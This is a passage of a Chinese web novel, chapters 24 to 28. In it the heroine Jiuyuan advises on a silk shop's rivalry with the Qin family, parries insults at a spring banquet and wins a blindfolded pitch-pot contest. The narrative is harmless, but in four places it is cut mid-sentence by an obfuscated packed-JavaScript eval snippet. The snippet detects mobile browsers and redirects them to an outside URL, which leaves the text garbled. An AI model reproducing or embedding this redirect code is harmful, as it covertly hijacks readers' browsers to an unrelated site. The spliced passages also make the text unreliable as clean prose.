“二弟客气了，请坐。”玖鸢在主位坐下，铃兰奉上茶来。 苏虞也不绕弯子，呷了口茶，便开门见山道：“小弟今日前来，是有一事相求。” “二弟但说无妨。” “听闻嫂嫂近日接手了三叔名下那几处绸缎庄和茶行庶务？” 苏虞放下茶盏，目光落在玖鸢脸上，“其中有一家云锦阁，位置恰在小弟负责的城南那片区域。不瞒嫂嫂，云锦阁隔壁，新开了一家霓裳坊，背后东家似是西境秦家，近来动作频频，不仅压价抢客，还暗中挖走了我们几位手艺极好的老师傅，云锦阁生意，如今是一落千丈。” 闻言玖鸢略做沉思。 秦家果然又出手了，已经是迫不及待和苏家正面交锋，想及此玖鸢不动声色道：“二弟意思是？” 苏虞叹了口气，脸上露出几分恰到好处的苦恼。 “小弟负责城南事务，眼见自家铺子被如此打压，自是心急如焚。也曾想过些法子应对，只是效果甚微，如今嫂嫂执掌这部分产业，小弟便想着，或许嫂嫂能有妙计，挽回颓势？毕竟，嫂嫂连错综复杂的陈年旧账都能理清，这点商场上小风波，想必不在话下。” 苏虞这话，话里话外看似求助，实则带着几分不易察觉的激将与试探。 玖鸢立刻感应到了。 苏虞是想看看她这个内宅妇人究竟有多少真本事，还是想借此将她拖入与秦家更直接冲突之中？ 玖鸢垂眸，浅浅呷了半口暖茶，沉吟微秒，方才抬眼看向苏虞，唇角噙着一抹清淡笑意。 “二弟过誉了。妾身初涉庶务，于经商之道所知甚浅，不过，既然二弟提及，妾身倒是有些浅见。霓裳坊既是压价抢客，我们若一味跟随，不过是两败俱伤，苏家以丝绸立本，根基在于品质与信誉，或 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16739952|188706||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 许我们可在新与精上下功夫。” “哦，嫂嫂请详言。”苏虞身体微微前倾，露出感兴趣神色。 “其一，云锦阁可推出独家定制之服务，聘请技艺精湛绣娘，依据客人喜好，身形气质，量身定制独一无二衣裳饰品，凸显尊贵与专属。” “其二，可与城中书画名家，或是知名香道，花道大家合作，定期在阁中举办小型雅集，将购衣与风雅之事结合，吸引那些追求品位的客源。” “其三，库存积压的旧款，不必一味降价，可稍作修改，或是搭配新到的饰品，以经典重现、限量搭配等名目推出，赋予其新的价值。” 玖鸢声音平和，条理清晰，所提建议竟是苏虞从未想过的，但是此刻听在耳中，却是掷地有声，颇为有理。 “当然，具体细节，还需二弟与云锦阁管事细细商议。妾身以为，与其在价格上与对方缠斗，不若另辟蹊径，以质取胜，以雅引人，不知二弟以为如何？” 苏虞听完，怔了半晌，看着玖鸢的目光，从最初探究，渐渐转为真正的惊讶，最后化作一丝复杂难明钦佩。 苏虞抚掌笑道： “妙，妙啊，嫂嫂果然非同凡响，此三策看似寻常，实则直指要害，避实击虚，小弟受教了。回去便与管事们商议，定要那霓裳坊看看，什么才是真正的苏家底蕴！” 苏虞站起身，对着玖鸢郑重一揖。 “嫂嫂点拨之恩，小弟铭记于心，日后嫂嫂若有用得着小弟之处，尽管开口。” 送走意气风发的苏虞，玖鸢独自站在偏厅窗前，望着庭院中几株已抽出嫩绿新芽的垂柳。 与秦家的较量，已从暗处账本权谋，延伸到了明处的商场争锋。 而玖鸢自己，似乎已在不知不觉间，被推到了这风口浪尖之上。 苏瑾给予她权柄，老太太安排嬷嬷教导，连苏虞也前来求助，这一切，都预示着她在苏府的角色，正在发生深刻转变。 25. 锦囊 苏虞动作比玖鸢预想的更快。 不过三五日功夫，云锦阁便悄然换了一番气象。 云锦阁门前悬起了名家定制，独此一件的杏黄旗幡，橱窗内陈列的也不再是琳琅满目成衣，而是几件做工极其精致，设计别出心裁的样衣，并配以意境悠远山水画或清供盆景，引得过往行人频频侧目。 阁内二楼辟出了几间雅致静谧厢房，专供定制衣物的贵客与绣娘管事，细细商讨款式，量体裁衣。 同时，苏虞也不知用了何种门路，果真请动了金陵城中以画兰竹闻名的顾老先生，在云锦阁举办了一场小型品茗赏画会，虽未大肆宣扬，但闻风而来的文人雅士，闺阁名媛却也不少，连带着云锦阁的声名，也仿佛被墨香茶韵洗涤过一般，陡然清雅高华起来。 至于云锦阁那些积压旧款，经巧手绣娘稍作改动，或是缀以时新珠翠，或是搭配独特刺绣纹样，以韶光回溯、秘藏珍品的名目限量发售，反倒勾起了一些怀旧客人兴致，销路竟比往日还好上几分。 这一连串组合拳下来，霓裳坊那边一味压价，款式却大同小异的策略，顿时显得粗鄙不堪。 不过半月，云锦阁客流虽未暴增，但成交的单价与利润，却翻了一番不止。 来的多是真正讲究品质，不吝银钱的贵客，门庭若市间，自有一股从容不迫的底气。 消息传回苏府，自是引起一番震动。 柏草堂内，老太太听着宋嬷嬷禀报云锦阁近况，拨动佛珠的手缓了下来，眼底深处掠过一丝几不可察的讶异与深思。 老太太原以为这北地来的孙媳，能在账目庶务上不出差错已属难得，未料竟还有这等玲珑心思，于商贾经营之道亦有如此见解。 “倒是小瞧了她。”老太太淡淡说了一句，听不出喜怒。 宋嬷嬷垂首道：“大奶奶确是心思灵巧，且行事稳妥，不骄不躁。连严嬷嬷都私下赞过，说大奶奶悟性极高，一点就透。” 老太太“嗯”了一声，未再言语，只脸上掠过几抹欣慰。 静心苑中，大太太林氏听闻此事，对着账册沉默了许久。 林氏执掌中馈多年，深知内宅妇人能理清账目已属不易，若要插手外间经营，并能提出这般行之有效的方略，绝非易事。 这个儿媳，似乎总能在人以为看清她时，又展现出令人意想不到的一面。 林氏想起那日苏瑾过来请安时，提及此事，虽语气依旧平淡，但眉宇间一闪而过几不可察赞许，却未能逃过林氏眼睛。 看来瑾哥儿对这个妻子，似乎也渐渐不同了。 林氏心中滋味复杂，有几分释然，几分酸涩，更有几分难以言喻对未来的隐约期盼。 而反应最大的，当属二房。 二太太王氏特意备了一份厚礼，亲自到砚澜轩向玖鸢道谢，言辞间热络亲近更胜往日。 “好孩子，真是多亏了你。若不是你出的好主意，虞儿那边还不知道要焦头烂额到几时，那秦家仗着财大气粗，实在是欺人太甚。如今可好，叫他们瞧瞧，咱们苏家的底蕴。” 王氏拉着玖鸢的手，笑得见牙不见眼，“日后啊，你有什么事，尽管跟二婶说！咱们才是一家人。” 玖鸢谦逊地应对着，心中却如明镜一般。 二房此番示好，既是因她帮苏虞解了围，更是因她展现出的价值，足以让他们投资下注。 就连一向眼高于顶，对玖鸢多有挑剔的三房小姐苏恬，在几次家宴上遇到玖鸢时，挑衅意味也收敛了不少，虽仍不主动和玖鸢搭话，却也不再如以往那般明目张胆地甩脸色。 这一切微妙变化，玖鸢皆坦然受之，宠辱不惊。 玖鸢依旧每日跟着严嬷嬷学习礼仪，处理庶务，核查账目，闲暇时便看书习字，或是打理庭院中那几株她特意移来的药草，日子过得充实而平静。 唯有在夜深人静时，玖鸢才会取出母亲留下的那本无名书卷和令牌，于灯下默默研读。 书卷中记载的，除了精妙医理毒方，还有一些看似杂乱，实则暗藏玄机的符号与短句，似乎与她身世之谜有关。 而这枚令牌，材质非金非玉，触手生温，上面纹路古老神秘，玖鸢翻阅了许多典籍，也未能查出其来历。 身世如谜，前路未卜。 苏府虽暂可安身，却绝非终点，玖鸢需要力量，需要真正属于自己的立足之本。 这日，玖鸢正对着一株新移栽的药草出神，药草叶片呈奇异银白色，此草有“凝心静神，可解瘴疠之毒”的记载，玖鸢正想的出神之机，苏瑾却意外踏入了砚澜轩。 他今日未着墨色，反而穿了一身雨过天青色的杭绸直裰，少了几分平日冷峻，多了几分文人雅士的清逸。 他是来看那几株药草的。 “听闻你移了些草药在院中？” 苏瑾负手立于廊下，目光扫过那几盆长势喜人的绿植，最后落在那株银叶草上，“此草名月影，生于滇南瘴疠之地，京师少见。你从何处得来？” 玖鸢心中微凛，面上却不动声色：“是妾身偶然从一游方郎中处购得，瞧着叶片奇特，便养着玩罢了，夫君认得此草？” 苏瑾走近几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16747850|188706||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 步，俯身细看银白叶片，指尖虚虚拂过：“早年随商队南下时，在滇南见过。此草虽可解瘴毒，但其性阴寒，汁液若误触伤口，反会引发溃烂，需得谨慎。” 苏瑾竟对草药也有如此见识，玖鸢压下讶异，恭声道：“多谢夫君提点，妾身记下了。” 苏瑾直起身，目光从药草移到玖鸢脸上，那双深邃眸子里，映着天光，显得格外清亮。 “云锦阁之事，你做得很好。”他忽然说道，语气比平日温和些许，“另辟蹊径，以雅破局，非寻常闺阁眼界。” 这是苏瑾第一次如此明确地肯定玖鸢的能力。 玖鸢垂下眼帘： “妾身不过是些浅见，幸得二弟采纳施行，方能见效。不敢居功。” 苏瑾看着玖鸢低眉顺目的模样，却仿佛能看透她那平静外表下隐藏的聪慧与棱角。“过谦便是傲了。”他淡淡道，语气听不出喜怒，却让玖鸢心头一跳。 苏瑾顿了顿，忽然转了话题： “三日后，江宁织造夫人设赏春宴，遍请金陵官宦商贾女眷，祖母与母亲的意思，让你随行。” 赏春宴，江宁织造？ 玖鸢微觉诧异，心跳亦有些加速，然却是稳定到几不可察般。 江宁织造虽只是五品官衔，却掌管江南织造事宜，地位特殊，与苏家这等皇商世家往来密切。这场宴席，无疑是金陵顶级女眷圈层的交际场。 让她随行，意味着苏家正式将她推向前台。 “是，妾身明白了。”玖鸢敛衽应下，“定当谨言慎行，不负祖母、母亲与夫君期望。” 苏瑾深深看了玖鸢一眼，似乎想从她沉静的脸上看出些什么，最终只道：“严嬷嬷会与你同去，届时，秦家女眷恐怕也会在场。” 苏瑾特意提到秦家女眷，是在提醒玖鸢，玖鸢心中了然，这是苏家与秦家的较量，已从商场延伸至了后宅交际。 “妾身晓得了。”玖鸢声音平稳，听不出丝毫怯意。 苏瑾不再多言，转身离去，走到月洞门前时，他脚步微顿，却未回头，只留下一句：“那日，穿那件蜜合色绣玉兰的衣裳便很好。” 玖鸢怔在原地，看着苏瑾身影消失在廊角，方才缓缓低头，看向自己身上这件正是蜜合色绣玉兰的常服。 苏瑾竟注意到了自己平日的衣着，属实是令玖鸢有点吃惊。 玖鸢心底某处，仿佛被一片羽毛极轻地拂过，漾开一圈微不可察涟漪。 她抬手，轻轻抚过那株月影草冰凉的银白色叶片，眼神逐渐变得柔软温馨，竟似多了点淡淡雾气。 26. 春宴 江宁织造府邸坐落在金陵城东南，毗邻秦淮河，虽不及苏府占地广阔，气象森严，却自有一番精巧富丽的官家气派。 朱漆大门洞开，门前车马簇簇，衣着光鲜的仆从引着各府女眷软轿、马车，井然有序地由角门而入。 玖鸢随着林氏，下了苏府的青绸帷车，立时便有婆子婢女迎上前来，这些婆子婢女皆穿戴整齐体面，笑容满面将她们引入府内。 严嬷嬷紧随在玖鸢身侧，目不斜视，神情肃穆，仿佛不是来赴宴，而是来督考一般。 众人穿过几重仪门，绕过影壁，眼前豁然开朗。 但见庭院深深，亭台楼阁错落有致，虽值初春，草木尚未完全复苏，但院中移栽的各色名品山茶、迎春、玉兰却已竞相绽放，红粉黄白，点缀在奇石曲水之间，与檐下悬挂的彩绘琉璃灯交相辉映，一派春意盎然、富贵奢靡景象。 宴设在后园临水的璇玑堂。 堂前是一片开阔汉白玉平台，凭栏可见一池碧水，曲廊回旋，连接着水中央的戏台，此刻台上正咿咿呀呀唱着昆腔，水音袅袅，更添雅致。 堂内早已宾客云集，珠围翠绕，衣香鬓影。 金陵城中有头有脸的官宦家眷，豪商巨贾的女眷几乎齐聚于此，三三两两聚在一处，或赏玩堂内陈列的古玩玉器，或凭窗远眺园景，或低声笑语，寒暄应酬。 空气中弥漫着名贵脂粉，香水与茶点瓜果混合的馥郁香气。 玖鸢的出现，并未引起太大波澜，却也在悄无声息间吸引了不少目光。 玖鸢今日依着苏瑾那日所言，穿身蜜合色锦缎袄裙，颜色清雅，既不逾矩，也不显寒素。 发髻梳得一丝不苟，簪着老太太前日赏下的一支赤金点翠衔珠凤钗，并两朵新巧宫制堆纱花，耳上坠着小小珍珠坠子，通身上下并无过多装饰，却偏生那张清丽绝伦的脸，和那份经过严嬷嬷严格调教后浑然天成的端庄气度，让她在满堂珠光宝气中，反而显得格外出尘。 林氏自是熟稔地与几位相熟夫人太太打着招呼，顺势将玖鸢引见给众人。 “这是我们家瑾哥儿媳妇，沈氏。”林氏语气平淡，却带着不易察觉的维护。 “哎哟，这就是苏大奶奶？真是百闻不如一见，好标致的人儿！” 一位穿着绛紫色福寿纹祆裙的圆脸夫人，笑着拉住玖鸢手，上下打量，她是漕运总督夫人，姓吴。 “苏大奶奶安好。” 另一位身着湖蓝色杭绸裙的年轻妇人微微颔首，她是金陵知府的女儿，嫁与了本地一位翰林编修，气质清冷些。 玖鸢依着严嬷嬷教导的礼仪，一一敛衽回礼，声音清越柔和，姿态优雅得体，应对间不卑不亢，既不过分热络，也无丝毫怯场，分寸拿捏得恰到好处。 玖鸢记性极好，林氏介绍过的人，她便能将姓氏、夫君或父兄的官职，乃至家中大概情形记个七七八八，偶尔接上一两句话，也能切中要害，显得知情识趣。 几位夫人太太看着玖鸢的眼神，皆露出讶异与赞赏之色。 原以为这北地将门出身的女子，难免带些粗豪之气，或是初入这等场合会露怯，未料竟是这般玲珑剔透，沉稳大气。 正当林氏引着玖鸢与几位重量级诰命夫人见礼时，堂外忽然传来一阵略显喧哗的动静，伴随着婢女们刻意抬高的通传声： “秦夫人到——秦大小姐到——” 堂内顿时静了一瞬，所有人目光，不约而同转向门口。 只见一位年约四旬，穿着真红色遍地金牡丹团花褙子，头戴整套赤金镶红宝头面的美妇人，在一群婢女婆子簇拥下，雍容华贵迈步而入。 妇人生得明艳照人，眉梢眼角带着一股挥之不去的精明与凌厉，正是西境秦家的当家主母，秦周氏。 紧随其后的，是一位身着樱草色缕金挑线纱裙的少女，约莫十六七岁年纪，容貌与秦周氏有六七分相似，亦是娇艳明媚，只是眉眼间多了几分被娇宠惯了的骄纵之气，顾盼间神采飞扬，正是秦家嫡出大小姐，秦昭烟。 秦家母女的出现，仿佛一道强光投入水面，瞬间吸引了全场注意力。 秦家近年来风头正劲，富可敌国，与宫中、朝堂关系盘根错节，虽无显赫官身，但其影响力却不容小觑。 秦周氏笑容满面与相熟之人打着招呼，言辞热络，八面玲珑。 她目光似是不经意地扫过全场，在与林氏和玖鸢对上时，微微停顿了一瞬，笑容依旧完美无瑕，眼底却掠过一丝极快极冷的锐光。 “苏夫人，许久不见，您气色是越发好了。” 秦周氏笑着向林氏走来，目光随即落在玖鸢身上，带着毫不掩饰的打量。 “这位便是苏大少爷新娶的夫人吧？果然是国色天香，我见犹怜。早就听闻沈小姐出身北地名门，英气勃勃，今日一见，方知传言不尽不实，这通身气派，倒比我们江南水乡的女儿家还要婉约几分。” 秦周氏这话，明着是夸赞，暗里却蕴着机锋。 既点明玖鸢北地出身，暗示其与江南格格不入，又用英气勃勃与婉约对比，隐隐有质疑其身份真实性，或是暗讽其表里不一之意。 林氏眉头几不可察地一蹙，正要开口，玖鸢却已上前半步，对着秦周氏盈盈一拜，声音清脆悦耳，如珠落玉盘： “秦夫人谬赞了，玖鸢年幼识浅，当不得国色二字。北地风光壮阔，江南景致婉约，各有其妙，玖鸢有幸得嫁江南，正该好生学习江南女儿的温婉贤淑，方不负祖母、母亲平日教导。” 玖鸢这番话，既谦逊地回应了夸赞，又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16753294|188706||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将话题引向了学习江南礼仪，巧妙地化解了对方关于出身的暗讽，更抬出了苏家老太太和林氏，显得既懂事又守礼。 秦周氏眼底闪过一丝讶异，随即笑容更深： “苏大奶奶真是会说话，烟儿，快来见过苏大奶奶。”她侧身将身后的秦昭烟让了出来。 秦昭烟撇了撇嘴，似乎有些不情愿，但还是走上前，对着玖鸢随意地福了福，声音带着几分娇蛮： “苏大奶奶安好。” 秦昭烟目光在玖鸢脸上身上转了一圈，尤其是在那支点翠凤钗上停留片刻，眼中闪过一丝不易察觉嫉妒，随即扬起下巴，带着几分挑衅语气道： “早就听说苏大奶奶手段了得，不仅理家是一把好手，连经商之道也颇为精通，云锦阁近日可是风头无两呢。不知大奶奶师从哪位高人？也让我们学习学习。” 秦家大小姐这话更是夹枪带棒，直指玖鸢插手外务，有违妇德，更暗讽她背后有人指点，或是用了什么不上台面的手段。 堂内众人目光再次聚焦在玖鸢身上，带着各种意味。林氏脸色微沉，严嬷嬷眉头也几不可察地皱起。 玖鸢却依旧神色平静，唇边甚至还噙着一抹清淡笑意，仿佛听不出对方话中机锋。 “秦大小姐说笑了，妾身不过是遵从祖母、母亲吩咐，学着打理些家务，偶有些不解之处，向母亲和夫君请教罢了。云锦阁之事，乃是二弟苏虞经营有方，管事伙计们用心做事的结果，妾身岂敢居功？至于师从，严嬷嬷近日正在教导妾身礼仪规矩，若秦大小姐有兴趣，不妨也请一位嬷嬷指点一二。” 玖鸢四两拨千斤，将功劳推给苏虞和下人，点明自己是遵从长辈之命学习，更反将一军，暗示秦昭烟或许需要学习礼仪。 言辞温和，却寸步不让。 秦昭烟被噎了一下，脸色顿时有些难看，还想再说什么，却被秦周氏一个眼神制止。 秦周氏哈哈一笑，打了圆场： “年轻人之间说笑罢了，苏大奶奶莫要介意，烟儿这孩子，被我宠坏了，心直口快，并无恶意。” 秦周氏说着，亲热地拉起玖鸢手，仿佛方才的机锋从未发生，“今日这赏春宴，菜肴点心皆是织造夫人精心准备，戏班子也是江南最好的，大奶奶定要好好玩玩。” 又寒暄了几句，秦周氏便带着兀自气鼓鼓的秦昭烟转向他处。 一场不见刀光剑影的交锋，暂告段落。 玖鸢微微垂眸，掩去眼底一丝冷意。 秦家母女，果然来者不善，今日这赏春宴，恐怕不会太平静。 她抬眼，目光掠过堂内谈笑风生的众人，掠过窗外潋滟湖光山色，最后落在戏台上水袖翩跹的伶人身上。 这璇玑堂，看似风光旖旎，实则步步惊心。 27. 较量 赏春宴的气氛，因着秦家母女与玖鸢不动声色交锋，似乎凝滞了片刻，随即又被更热烈的谈笑与丝竹声冲散。 众人依旧赏花、品茗、听戏，只是目光流转间，对苏家少夫人这个人，不只是好奇，更多则是想着这个北地来的女子，能进入这种上流商户交际圈子，凭什么。 玖鸢仿若未觉，跟着林氏在几位相熟夫人间周旋，言行举止依旧得体从容。 严嬷嬷侍立在玖鸢身后半步之遥，面上不动声色，只在无人注意时，会向玖鸢投去一个几不可察带着赞许的眼神。 戏台上正唱着一出热闹的“百鸟朝贺”，锣鼓铿锵，水袖翻飞。 秦周氏与几位身份相当的夫人，坐在离戏台最近暖阁里，言笑晏晏，似乎全然忘记了方才的不快。 秦昭烟则与几位年纪相仿的官家小姐凑在一处，对着台上伶人指指点点，偶尔发出清脆笑声，只是顾盼眼神之间，不时带着一丝不甘与怨怼，瞟向玖鸢所在方向。 宴至中途，织造夫人笑着提议，请诸位女眷移步至水榭旁的敞轩，那里备下了笔墨纸砚，可即兴赋诗作画，或是投壶弈棋，以为雅趣。 众人自是纷纷附和。 玖鸢随着人流步入敞轩，只见轩内布置清雅，四周悬挂着前朝名家字画，长案上宣纸铺陈，徽墨端砚俱全，另一侧则设着投壶、棋枰等物。 已有几位才情敏捷的夫人小姐提笔挥毫，或描摹园中春色，或书写诗词佳句。 玖鸢于诗词书画上并非专长，只略通皮毛，便安静地立于一隅，欣赏着众人的作品。 林氏被几位夫人拉着品评画作，严嬷嬷则低声在玖鸢耳边，为玖鸢介绍着几位正在作画小姐的家世背景与才名。 就在这时，秦昭烟端着一杯果酿，笑吟吟地走了过来，身边还跟着两位衣着华贵，眼神略带几分谄媚的少女。 “苏大奶奶怎么独自在此，可是不擅此道？” 秦昭烟语气娇憨，仿佛只是无心之问，眼底却藏着一丝挑衅，“听闻北地女儿多善骑射，想来对这文人雅事，是有些隔阂了。” 秦昭烟身旁一位穿桃红衣裙的小姐掩口笑道： “烟姐姐说的是呢，投壶倒是与骑射有些相通，不若请苏大奶奶一试？也让我们开开眼界。” 另一位着鹅黄衣裙的也附和道：“正是，久闻沈家枪法卓绝，想必苏大奶奶手上准头也是极好的。” 三人一唱一和，看似热情相邀，实则又将玖鸢的北地出身拎了出来，言语间隐含着轻视与排挤。 若玖鸢拒绝，便是坐实了不擅雅事，与江南格格不入之名，若她应下却输了，更是徒增笑柄。 周围几位正在作画赏画的夫人小姐也停下动作，目光若有若无扫向这边，带着看热闹的兴致。 林氏在远处与人说话，并未留意到此间情形。 严嬷嬷眉头微蹙，正欲上前代为周旋，玖鸢却轻轻抬手，止住了她。 玖鸢转过身，面向秦昭烟三人，唇边依旧噙着那抹清淡温婉笑意，目光平静无波： “秦大小姐与两位妹妹盛情，玖鸢却之不恭。只是这投壶之戏，讲究心静气凝，倒与骑射的迅疾刚猛颇有不同。玖鸢愚钝，只能勉力一试，若有贻笑大方之处，还望各位海涵。” 玖鸢既未否认北地出身，也未显怯懦，坦然应下，言语间又将投壶与心境修养联系起来，显得不卑不亢。 秦昭烟眼中闪过一丝得色，笑道： “苏大奶奶过谦了，请！”她侧身让开，指向不远处那尊造型古朴的铜制投壶。 壶口细颈，壶身绘着瑞兽图案，壶内已插着几支方才别家小姐投掷未中的箭矢。 早有婢女将一束新的尾羽鲜艳箭矢奉到玖鸢面前。 玖鸢接过箭矢，指尖感受着箭杆冰凉触感。 玖鸢确实不曾精研此道，母亲虽教过她骑射，但更多是为了强身健体与自保，与这等闺阁游戏大相径庭。然而，她心性沉稳，观察力敏锐，方才已暗中留意过几人投壶的手法与力道。 玖鸢缓步走至划定的白线前，屏息凝神，目光落在数步之外的壶口上。 周遭谈笑声似乎渐渐远去，玖鸢脑海中飞快计算着距离、角度与力道。 第一支箭，玖鸢并未急于投出，而是虚虚一比，感受了一下力道。箭矢脱手，力道稍轻，落在壶口边缘弹开了。 周围响起几声细微压抑的嗤笑，秦昭烟唇角勾起毫不掩饰得意之色。 玖鸢面色不变，仿佛只是热身，她再次拈起一支箭。 这一次，玖鸢调整了呼吸，手腕微沉，目光更加专注。 箭矢划出一道平滑弧线，“嗒”一声轻响，竟是稳稳地投入了壶中！ 周围静了一下，随即响起几声客气赞叹。 秦昭烟笑容微僵。 玖鸢并未停顿，接连又取两矢，手腕翻转间，动作不见如何花哨，却异常稳定，“嗒”、“嗒”两声，竟又是连中。 这一下，连那些原本看热闹的夫人小姐们也露出了真正讶异之色，三投两中已属不易，她竟是三投三中。 秦昭烟脸色彻底沉了下来，她强笑道： “苏大奶奶果然深藏不露。”秦昭烟眼珠一转，忽然又道： “这般投法未免无趣，不若我们换个玩，蒙上眼睛，背身投壶，如何？这才显真本事呢。” 秦昭烟此言一出，众人皆是一怔。 蒙眼背身投壶，这难度何止增加了数倍，简直堪称刁难。 严嬷嬷脸色一沉，正要开口，玖鸢却已淡淡应道： “既然秦大小姐有此雅兴，妾身奉陪便是。” 婢女取来两条素绫，秦昭烟抢先蒙上眼睛，转过身，摸索着拿起箭矢，胡乱向后一抛，自然是连壶边都未曾碰到，引得一阵低笑。 她扯下绫布，脸色涨红，却强撑着看向玖鸢。 玖鸢从容接过素绫，亲自蒙住双眼，在脑后系紧，眼前顿时陷入一片黑暗。 她缓缓转过身，背对着投壶。 所有人目光都聚焦在玖鸢身上，敞轩内一时鸦雀无声，只听得见窗外潺潺水声与远处隐约的戏文。 黑暗隔绝了视线，却让其他感官变得格外敏锐。 玖鸢能听到自己心跳声，能感受到脚下地板的细微震动，能嗅到空气中不同脂粉香气来源，她在心中默默回想着方才观察到的壶位、距离，以及自身站立的角度。 四周几乎落针可闻。 在众人屏息凝神注视下，玖鸢抬起手，拈起一支箭矢，手腕以一个极其微妙角度向后一扬。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16756306|188706||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 箭矢破空，发出极轻微的“嗖”声。 所有人心都提到了嗓子眼。 “哐啷！” 一声清脆的金属碰撞响声传来。 中了？！ 众人愕然望去，却见那箭矢并未落入壶中，而是击打在壶身之上，将壶内原本插着的一支箭震得跳了出来，落在地上。 而玖鸢自己投出的那支箭，也因力道反弹，歪斜着掉落一旁。 这，这是失误了？ 秦昭烟先是一愣，随即几乎要笑出声来，看来这沈玖鸢也只是运气好方才连中，一蒙上眼便原形毕露。 然而，玖鸢却并未露出丝毫懊恼或慌乱。 她静静地站着，蒙着眼睛的面庞上看不出表情，只是微微侧首，仿佛在倾听什么。 随即，在众人尚未反应过来之际，她以迅雷不及掩耳之势，再次拈起两支箭，手腕交错，几乎同时向后掷出。 动作快得只留下一道残影。 “噗！”“噗！” 两声沉闷，截然不同的声响几乎同时响起。 一支箭，稳稳地插入了壶口之中，而另一支箭，则精准地击打在前一支箭的尾羽之上，将其更深地钉入壶内。 静，死一般的寂静。 所有人都目瞪口呆看着铜壶之中，唯一一支微微颤动的箭矢，以及地上散落被震出或未投中的其他箭矢。 蒙眼，背身，非但投中，竟还是以如此匪夷所思的方式，一箭定乾坤。 这需要何等的耳力，判断力与掌控力。 “好！” 不知是谁先喝了一声彩，随即，赞叹声、掌声如同潮水般涌来。 几位原本对玖鸢心存轻视的夫人小姐，此刻眼中也充满了真正的敬佩与震撼。 秦昭烟脸色煞白，嘴唇哆嗦着，看着玖鸢缓缓扯下蒙眼绫布，那双清亮眸子在光线下一如既往的平静，仿佛刚才只是做了一件微不足道的小事。 秦家大小姐只觉得脸上火辣辣的，仿佛被当众扇了一记耳光，所有骄矜与算计，在玖鸢绝对的实力面前，都显得如此可笑。 玖鸢对着众人微微颔首，语气依旧温和： “侥幸而已，让诸位见笑了。” 玖鸢目光扫过面无人色的秦昭烟，并未多言，转身走向林氏身边。 林氏看着儿媳，眼神复杂，最终只轻轻拍了拍玖鸢手背，低声道：“很好。” 严嬷嬷紧随其后，低垂眼眸中，闪过一丝难以掩饰的喜悦，这位大奶奶心性之沉稳，应变之机敏，实在远超她预期。 经此一事，再无人敢因出身而轻视这位苏大奶奶。 而玖鸢蒙眼背身，双箭连珠定壶的事实，也随着这场赏春宴，迅速在金陵女眷圈中流传开来。 玖鸢却知，今日看似风光，实则已将秦家得罪得更深。 秦昭烟离去时那怨毒一瞥，眼神犀利，似乎她自己失手是玖鸢过错，甚至于，就连秦家主母秦周氏，脸上也不大高兴。 玖鸢抬眼，望向敞轩外潋滟湖光，心中也不由思绪乍起，刚才只顾着对付这些屑小之人，此刻才骤然发现，自己两只手掌心皆是热汗。 她微微低首。 世上最难测是人心，这金陵的人心，其实比投壶之戏，更要凶险百倍。 28. 茶凉 投壶一事，如同在平静湖面投下巨石，余波荡漾，经久不息。 玖鸢蒙眼背身，双箭连珠的惊艳一举，不仅镇住了当场所有心怀轻视或好奇的看客，更似一记无声惊雷，在她与秦家母女之间，划下一道清晰而冰冷的界限。 接下来的赏春宴，气氛便显得微妙起来。 明面上，依旧是觥筹交错，笑语喧赫，丝竹管弦不绝于耳。 夫人们谈论着时兴的衣料首饰，小姐们切磋着诗词画艺，仿佛方才那场不见硝烟的较量从未发生。 然而，有意无意落在玖鸢身上的目光，却已悄然变了味道。 少了几分审视与疑虑，多了几分不易察觉的忌惮、探究，乃至一丝似有若无的结交之意。 秦周氏依旧是八面玲珑，长袖善舞的模样，与几位身份尊贵的诰命夫人谈笑风生，仿佛全然未将女儿受挫之事放在心上。 只是她眼角余光扫过安静坐在林氏身侧的玖鸢时，完美笑容下潜藏的冷意，总在不经意间一闪而逝。 秦昭烟则明显蔫了许多，不再如孔雀般四处招摇，只恹恹地坐在母亲身旁，偶尔抬眼看向玖鸢，眼神里混杂着不甘、怨愤，以及一丝连她自己都未曾察觉的源自心底的畏惧。 